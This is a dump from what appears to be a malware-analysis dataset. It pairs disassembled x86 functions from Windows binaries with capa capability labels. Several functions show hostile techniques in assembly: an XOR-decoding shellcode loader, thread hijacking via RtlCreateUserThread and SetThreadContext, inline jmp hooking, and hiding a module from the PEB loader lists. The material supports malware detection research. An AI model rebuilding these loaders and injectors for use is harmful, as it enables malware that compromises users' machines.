joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46110d
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x878
mov eax, 0x48000d
call fcn.0043eed3
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x824], eax
mov dword [ebp - 0x854], ebx
mov dword [ebp - 0x850], ebx
mov dword [ebp - 0x84c], ebx
mov dword [ebp - 0x848], ebx
mov dword [ebp - 0x844], ebx
mov dword [ebp - 0x840], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x818], ebx
push 0xffffffffffffffff
lea ecx, [ebp - 0x854]
cmp dword [ebp + 0xc], ebx
je 0x461168
push str.SoftwareAdobeAcrobat_Reader11.0AVGeneralcRecentFilesc
jmp 0x46116d
push str.SoftwareAdobeAdobe_Acrobat11.0AVGeneralcRecentFilesc
call fcn.00463abe
xor eax, eax
mov dword [ebp - 0x814], ebx
mov dword [ebp - 0x83c], ebx
mov dword [ebp - 0x838], ebx
mov dword [ebp - 0x834], ebx
mov dword [ebp - 0x830], ebx
mov dword [ebp - 0x82c], ebx
mov dword [ebp - 0x828], ebx
lea esi, [eax + 1]
push esi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x81c], esp
push ebx
push 0xffffffffffffffff
push 0x4865f0
mov byte [ebp - 4], 1
call fcn.00408d63
lea eax, [ebp - 0x83c]
push eax
call fcn.0040bcdd
lea eax, [ebp - 0x83c]
push eax
lea eax, [ebp - 0x854]
push eax
lea eax, [ebp - 0x884]
push eax
call fcn.0041ebf4
add esp, 0x2c
lea ecx, [ebp - 0x884]
mov byte [ebp - 4], 2
call fcn.00408157
lea ecx, [ebp - 0x814]
push ecx
push 0x20019
push ebx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x4612ca
cmp dword [ebp - 0x814], ebx
je 0x4612de
push 0x800
lea eax, [ebp - 0x810]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x81c]
push eax
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x820]
push eax
push ebx
push str.tDIText
push dword [ebp - 0x814]
mov dword [ebp - 0x820], 1
mov dword [ebp - 0x81c], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
jne 0x4612ca
cmp dword [ebp - 0x820], 1
jne 0x4612ca
push 0xffffffffffffffff
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x86c]
call fcn.00408613
push ebx
push ebx
push dword [ebp - 0x824]
lea ecx, [ebp - 0x86c]
mov byte [ebp - 4], 3
call fcn.004092a7
test ax, ax
je 0x46131a
lea ecx, [ebp - 0x85c]
mov byte [ebp - 4], 2
call fcn.004035af
lea ecx, [ebp - 0x864]
call fcn.004035af
cmp dword [ebp - 0x814], ebx
je 0x4612de
push dword [ebp - 0x814]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x874]
call fcn.004035af
lea ecx, [ebp - 0x87c]
call fcn.004035af
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], bl
call fcn.004035af
lea ecx, [ebp - 0x834]
call fcn.004035af
mov eax, esi
cmp eax, 0x64
jl 0x461174
jmp 0x461372
push dword [ebp - 0x814]
mov dword [ebp - 0x818], 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x85c]
call fcn.004035af
lea ecx, [ebp - 0x864]
call fcn.004035af
lea ecx, [ebp - 0x874]
call fcn.004035af
lea ecx, [ebp - 0x87c]
call fcn.004035af
lea ecx, [ebp - 0x82c]
call fcn.004035af
lea ecx, [ebp - 0x834]
call fcn.004035af
lea ecx, [ebp - 0x844]
call fcn.004035af
lea ecx, [ebp - 0x84c]
call fcn.004035af
mov eax, dword [ebp - 0x818]
call fcn.0043ef56
ret
Function at 0x463abe
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x463acd
pop dword [ebp - 0x18]
mov eax, 0x81c9cebf
sub eax, 0x818393f2
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x56a56969
sub dword [ebp - 0x28], 0x853241e
mov dword [ebp - 0x24], 0x11abd511
sub dword [ebp - 0x24], 0xdf7888cc
mov dword [ebp - 0x20], 0xda5aa1e2
sub dword [ebp - 0x20], 0x8e0e5db4
mov dword [ebp - 0x1c], 0x7580a9b0
sub dword [ebp - 0x1c], 0x7580a9b0
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x26fb8bdb
add dword [ebp - 0x28], 0x4d76dd7b
mov dword [ebp - 0x24], 0x4744f0bc
add dword [ebp - 0x24], 0xfa2770b9
mov dword [ebp - 0x20], 0xf699d64b
sub dword [ebp - 0x20], 0x932a69df
mov dword [ebp - 0x1c], 0xfe4db0a5
add dword [ebp - 0x1c], 0x1b24f5b
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x2a65f4b
sub eax, 0x25e3dbb
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x49340
push 0
call eax
mov ecx, 0x4cc4bfcf
add ecx, 0xb33b8d2e
mov edx, eax
mov esi, 0x26cbdca5
sub esi, 0x268028a5
add esi, dword [ebp - 0x18]
mov ebx, 0x850a118c
add ebx, 0xefe910e2
xor dword [ebp - 0xc], eax
mov edi, dword [esi]
xor dword [ebp - 0x10], edi
xor edi, ebx
add dword [ebp - 0xc], edx
mov dword [edx], edi
add dword [ebp - 0xc], ebx
add edx, 0x55b8e7f
sub edx, 0x55b8e7b
add esi, 0x596be889
add esi, 0xa694177b
loop 0x463bea
add eax, 0x735613e7
sub eax, 0x7354ed20
xor ebx, ebx
add ebx, eax
add eax, 0x623cab5c
add eax, 0x9dc354a9
mov ecx, 0x354be178
sub ecx, 0x350be178
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x466110
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esi + 0x10]
mov edx, dword [esi + 0x20]
mov eax, dword [eax + 0x14]
sub esp, 8
push ebp
mov ebp, dword [esp + 0x10]
lea ecx, [esp + 4]
push ecx
push edx
call eax
add esp, 8
test eax, eax
jne 0x466232
mov ecx, dword [esp + 4]
push ebx
push edi
push ecx
call fcn.00463abe
mov edi, eax
add esp, 4
test edi, edi
jne 0x466151
lea ebx, [eax + 0x10]
jmp 0x466214
mov eax, dword [esi + 0x30]
cmp eax, dword [esp + 0xc]
jbe 0x4661c6
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0x20]
mov edx, dword [edx + 8]
push ebp
push eax
mov eax, dword [esi + 0x2c]
push eax
push ecx
call edx
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x466214
mov eax, dword [esi + 0x10]
mov edx, dword [esi + 0x20]
mov eax, dword [eax + 0xc]
push ebp
push 0x40
lea ecx, [esp + 0x18]
push ecx
push edi
push edx
call eax
mov ebx, eax
add esp, 0x14
test ebx, ebx
jne 0x466214
mov ecx, dword [esp + 0x10]
mov edx, dword [esi + 0x2c]
push ecx
push edi
push edx
call fcn.00463abe
mov eax, dword [esp + 0x1c]
mov ecx, dword [esi + 0x30]
mov edx, dword [esi + 0x2c]
sub ecx, eax
push ecx
add edx, eax
push ebx
push edx
call fcn.00463abe
mov eax, dword [esp + 0x28]
add esp, 0x18
mov dword [esi + 0x30], eax
mov ecx, dword [esp + 0xc]
push ecx
push 0x36
push edi
call fcn.00463abe
xor eax, eax
add esp, 0xc
cmp dword [esi + 0x30], eax
jbe 0x4661f1
lea ecx, [ecx]
mov edx, dword [esi + 0x2c]
mov cl, byte [eax + edx]
xor byte [eax + edi], cl
add eax, 1
cmp eax, dword [esi + 0x30]
jb 0x4661e0
mov eax, dword [esp + 0xc]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0x20]
mov edx, dword [edx + 8]
push ebp
push eax
push edi
push ecx
call edx
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x466214
mov dword [esi + 0x34], 1
test edi, edi
je 0x46622e
mov eax, dword [esp + 0xc]
push eax
push 0
push edi
call fcn.00463abe
push edi
call fcn.00463abe
add esp, 0x10
pop edi
mov eax, ebx
pop ebx
pop ebp
add esp, 8
ret
Function at 0x467330
Capabilities:
Hash data using sha256

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
mov dword [eax + 0x20], ecx
mov dword [eax + 0x24], ecx
mov dword [eax + 0x68], ecx
mov dword [eax + 0x6c], fcn.00466980
ret

Function at 0x467380
Capabilities:
Hash data using sha256

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
call fcn.00467240
mov ecx, dword [ebx]
mov esi, dword [esp + 0x10]
mov eax, ecx
shr eax, 0x18
mov byte [esi], al
mov edx, ecx
shr edx, 0x10
mov byte [esi + 1], dl
mov edx, ecx
shr edx, 8
lea eax, [esi + 1]
mov byte [eax + 1], dl
add eax, 1
mov byte [eax + 1], cl
mov ecx, dword [ebx + 4]
add eax, 1
add eax, 1
add eax, 1
mov edx, ecx
shr edx, 0x18
mov byte [eax - 1], dl
add eax, 1
mov edx, ecx
shr edx, 0x10
mov byte [eax - 1], dl
add eax, 1
mov edx, ecx
shr edx, 8
mov byte [eax - 1], dl
mov byte [eax], cl
mov ecx, dword [ebx + 8]
add eax, 1
add eax, 1
mov edx, ecx
shr edx, 0x18
mov byte [eax - 1], dl
mov edx, ecx
shr edx, 0x10
mov byte [eax], dl
add eax, 1
add eax, 1
mov edx, ecx
shr edx, 8
mov byte [eax - 1], dl
mov byte [eax], cl
mov ecx, dword [ebx + 0xc]
add eax, 1
mov edx, ecx
shr edx, 0x18
mov byte [eax], dl
add eax, 1
mov edx, ecx
shr edx, 0x10
mov byte [eax], dl
add eax, 1
mov edx, ecx
shr edx, 8
mov byte [eax], dl
mov byte [eax + 1], cl
mov ecx, dword [ebx + 0x10]
add eax, 1
add eax, 1
mov edx, ecx
shr edx, 0x18
mov byte [eax], dl
add eax, 1
mov edx, ecx
shr edx, 0x10
mov byte [eax], dl
mov edx, ecx
add eax, 1
shr edx, 8
mov byte [eax], dl
add eax, 1
mov byte [eax], cl
mov ecx, dword [ebx + 0x14]
add eax, 1
add eax, 1
mov edx, ecx
shr edx, 0x18
mov byte [eax - 1], dl
mov edx, ecx
shr edx, 0x10
mov byte [eax], dl
add eax, 1
add eax, 1
mov edx, ecx
shr edx, 8
mov byte [eax - 1], dl
mov byte [eax], cl
mov ecx, dword [ebx + 0x18]
add eax, 1
mov edx, ecx
shr edx, 0x18
mov byte [eax], dl
add eax, 1
mov edx, ecx
shr edx, 0x10
mov byte [eax], dl
add eax, 1
mov edx, ecx
shr edx, 8
mov byte [eax], dl
mov byte [eax + 1], cl
mov ecx, dword [ebx + 0x1c]
add eax, 1
add eax, 1
mov edx, ecx
shr edx, 0x18
mov byte [eax], dl
add eax, 1
mov edx, ecx
shr edx, 0x10
mov byte [eax], dl
add eax, 1
mov edx, ecx
shr edx, 8
mov byte [eax], dl
mov byte [eax + 1], cl
xor eax, eax
pop esi
mov dword [ebx], 0x6a09e667
mov dword [ebx + 4], 0xbb67ae85
mov dword [ebx + 8], 0x3c6ef372
mov dword [ebx + 0xc], 0xa54ff53a
mov dword [ebx + 0x10], 0x510e527f
mov dword [ebx + 0x14], 0x9b05688c
mov dword [ebx + 0x18], 0x1f83d9ab
mov dword [ebx + 0x1c], 0x5be0cd19
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], eax
mov dword [ebx + 0x68], eax
mov dword [ebx + 0x6c], fcn.00466980
pop ebx
ret
Function at 0x401037
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [0x42f618]
mov dword [ebp - 0x28], eax
mov eax, dword [0x42f61c]
xor ebx, ebx
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], ebx
call fcn.00401030
mov eax, dword [0x42f620]
add dword [ebp - 0x14], 0x23f
mov dword [ebp - 0x30], eax
mov eax, dword [0x42f624]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x1a201c4], 0xc
mov dword [ebp - 4], eax
jne 0x4010b9
push ebx
lea eax, [ebp - 0x34]
push eax
push ebx
lea eax, [ebp - 0x43c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov eax, dword [0x1a201c4]
cmp eax, 0xfa9
jne 0x4010d5
mov dword [0x1a201c0], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010ed
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov dword [0x1a20114], ebx
mov eax, dword [ebp - 0x14]
add eax, edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [0x1a201bc], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor dword [ebp - 8], eax
sub esi, dword [ebp - 8]
cmp dword [0x1a201c4], 0xc
mov dword [ebp - 4], eax
jne 0x40114f
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea eax, [ebp - 0x38]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
add eax, esi
mov dword [ebp - 0x1c], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x24]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x14], 0x61c88647
sub edi, eax
dec dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], edi
jne 0x401089
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x404b17
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e33c]
jne 0x404b21
repz ret
jmp fcn.0040acf6

Function at 0x40bd24
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404c1c
and dword [ebp - 4], 0
cmp dword [0x4389f4], 0
mov ebx, eax
jne 0x40bdd5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40be86
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40be86
push eax
call fcn.00404baa
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4389f4], eax
call esi
push eax
call fcn.00404baa
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4389f8], eax
call esi
push eax
call fcn.00404baa
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4389fc], eax
call esi
push eax
call fcn.00404baa
pop ecx
mov dword [0x438a04], eax
test eax, eax
je 0x40bdd5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404baa
pop ecx
mov dword [0x438a00], eax
mov eax, dword [0x438a00]
cmp eax, ebx
je 0x40be2d
cmp dword [0x438a04], ebx
je 0x40be2d
push eax
call fcn.00404c25
push dword [0x438a04]
mov esi, eax
call fcn.00404c25
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40be2d
test edi, edi
je 0x40be2d
call esi
test eax, eax
je 0x40be24
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40be24
test byte [ebp - 0xc], 1
jne 0x40be2d
or dword [ebp + 0x10], 0x200000
jmp 0x40be66
mov eax, dword [0x4389f8]
cmp eax, ebx
je 0x40be66
push eax
call fcn.00404c25
pop ecx
test eax, eax
je 0x40be66
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40be66
mov eax, dword [0x4389fc]
cmp eax, ebx
je 0x40be66
push eax
call fcn.00404c25
pop ecx
test eax, eax
je 0x40be66
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4389f4]
call fcn.00404c25
pop ecx
test eax, eax
je 0x40be86
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40be88
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x10001071
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x10001071
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
jne 0x1000105a
jmp 0x10001071
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x10002040
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10018340
push 0x10012756
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1001a0c0]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, edx
mov esi, ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub ebx, esi
sub ebx, 5
mov byte [esi], 0xe9
mov dword [esi + 1], ebx
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x100020b0
mov byte [esi + eax], 0x90
inc eax
jmp 0x100020a2
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100020ca
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10012785
mov esp, ebp
pop ebp
ret
Function at 0x10003ef0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x1001a0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x18]
push esi
push edi
mov edi, dword [ebp + 0x14]
mov eax, dword [ecx]
push 0x10033400
push ecx
call dword [eax + 0xc0]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xa4]
push eax
push 0x40
push 0x40
lea eax, [ebp - 0xa0]
mov dword [0x10033404], 0
push eax
mov dword [0x10033400], 0
mov dword [0x10033410], 0
mov dword [0x10033414], 0x3f800000
call esi
movups xmm0, xmmword [0x100164d8]
lea eax, [ebp - 0xa4]
push eax
push dword [ebp - 0xa4]
movups xmmword [ebp - 0xa0], xmm0
push 0x40
movups xmm0, xmmword [0x100164e8]
lea eax, [ebp - 0xa0]
push eax
movups xmmword [ebp - 0x90], xmm0
movups xmm0, xmmword [0x100164f8]
movups xmmword [ebp - 0x80], xmm0
movups xmm0, xmmword [0x10016508]
movups xmmword [ebp - 0x70], xmm0
call esi
mov eax, dword [0x10033810]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [0x10033350]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0xa8]
mov dword [ebp - 0xac], ecx
mov ecx, dword [ebp - 0xac]
mov eax, 0x100336a0
call eax
mov ecx, dword [0x10033810]
mov esi, eax
mov ecx, dword [ecx]
mov dword [ebp - 0xa8], ecx
mov ecx, dword [0x10033350]
mov ecx, dword [ecx]
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp - 0xa8]
add ecx, dword [ebp - 0xa4]
mov dword [ebp - 0xb0], ecx
mov ecx, dword [ebp - 0xb0]
mov eax, 0x10033794
call eax
lea ecx, [ebp - 0xa0]
push ecx
push esi
push eax
push 0x10033400
lea edx, [ebp + 8]
lea ecx, [ebp - 0xbc]
call fcn.100027a0
movss xmm3, dword [ebp - 0xb4]
movss xmm0, dword [0x10017b6c]
comiss xmm0, xmm3
jbe 0x100040d3
movss xmm1, dword [ebp - 0xbc]
xorps xmm0, xmm0
comiss xmm1, xmm0
jbe 0x100040d3
movss xmm2, dword [ebp - 0xb8]
comiss xmm2, xmm0
jbe 0x100040d3
mov eax, dword [0x10033408]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x10017c80]
cvtpd2ps xmm0, xmm0
comiss xmm0, xmm1
jbe 0x100040d3
mov eax, dword [0x1003340c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x10017c80]
cvtpd2ps xmm0, xmm0
comiss xmm0, xmm2
jbe 0x100040d3
movss dword [edi], xmm1
mov al, 1
movss dword [edi + 4], xmm2
movss dword [edi + 8], xmm3
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012785
mov esp, ebp
pop ebp
ret 0x14
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.10012785
mov esp, ebp
pop ebp
ret 0x14
Function at 0x10010700
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
mov eax, dword [0x1001a0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.ntdll
mov dword [ebp - 0x2d8], edx
mov dword [ebp - 0x2dc], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor esi, esi
push esi
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 8
lea ebx, [esi + 8]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx edi, al
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx eax, al
mov ecx, ebx
or eax, edi
shl eax, cl
or esi, eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, ebx
movzx eax, al
shl eax, cl
add ebx, 8
or esi, eax
cmp ebx, 0x20
jl 0x10010743
cmp esi, 0x7fffffff
jbe 0x1001079b
lea eax, [esi - 0x80000000]
shr eax, 0xc
inc eax
nop word [eax + eax]
sub esi, 0x1000
sub eax, 1
jne 0x10010790
push 0
push 0x40
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.RtlCreateUserThread
push str.ntdll
mov dword [ebp - 0x2d4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [ebp - 0x2d8]
mov ebx, eax
mov edi, dword [edi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
lea ecx, [ebp - 0x2d4]
push ecx
push edi
push esi
push 0
push 0
push 0
push 1
push 0
push eax
call ebx
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x2d0], 0x10003
push eax
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x2d0]
push eax
push dword [ebp - 0x2d4]
mov dword [ebp - 0x2d0], 0x10003
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x2d4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012785
mov esp, ebp
pop ebp
ret
Function at 0x100119e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1001a0c0]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
jne 0x10011b1c
lea edx, [ebp - 8]
mov ecx, 0x100117f0
call fcn.10010700
lea edx, [ebp - 8]
mov ecx, 0x10011800
call fcn.10010700
mov ecx, dword [0x11dc9ec4]
mov eax, dword [0x11dc9ec0]
cmp eax, ecx
je 0x10011a43
mov edx, dword [ebp - 8]
nop dword [eax]
cmp dword [eax], edx
je 0x10011a3b
add eax, 0x14
cmp eax, ecx
jne 0x10011a30
cmp eax, ecx
jne 0x10011b1c
mov eax, dword fs:[0x30]
push esi
mov eax, dword [eax + 0xc]
add eax, 0xc
mov esi, dword [eax]
cmp esi, eax
je 0x10011a6f
mov ecx, dword [ebp - 8]
nop dword [eax]
test esi, esi
je 0x10011a6f
cmp dword [esi + 0x18], ecx
je 0x10011a85
mov esi, dword [esi]
cmp esi, eax
jne 0x10011a60
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012785
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [esi + 4]
push ebx
push edi
mov dword [ebp - 0x1c], ecx
mov edx, dword [eax]
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0xc], esi
mov edi, dword [eax]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x10], edi
mov ebx, dword [eax]
mov eax, dword [0x11dc9ec4]
mov dword [ebp - 0x14], ebx
cmp eax, dword [0x11dc9ec8]
je 0x10011ac9
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], esi
add dword [0x11dc9ec4], 0x14
jmp 0x10011ad3
lea ecx, [ebp - 0x1c]
push ecx
push eax
call fcn.10012090
mov ecx, dword [esi]
mov eax, dword [esi + 4]
pop edi
pop ebx
mov dword [ecx + 4], eax
mov ecx, dword [esi + 4]
mov eax, dword [esi]
mov dword [ecx], eax
mov ecx, dword [esi + 0x10]
mov eax, dword [esi + 0x14]
mov dword [ecx + 4], eax
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
mov dword [ecx], eax
mov ecx, dword [esi + 8]
mov eax, dword [esi + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 8]
pop esi
mov dword [ecx], eax
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012785
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.10012785
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10012040
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 2
xor eax, eax
mov dl, byte [edi + eax + 0x2c81f264]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001206e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x26
jl 0x10012051
pop edi
mov byte [esi + 0x26], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10012260
Capabilities:
Access peb ldr_data

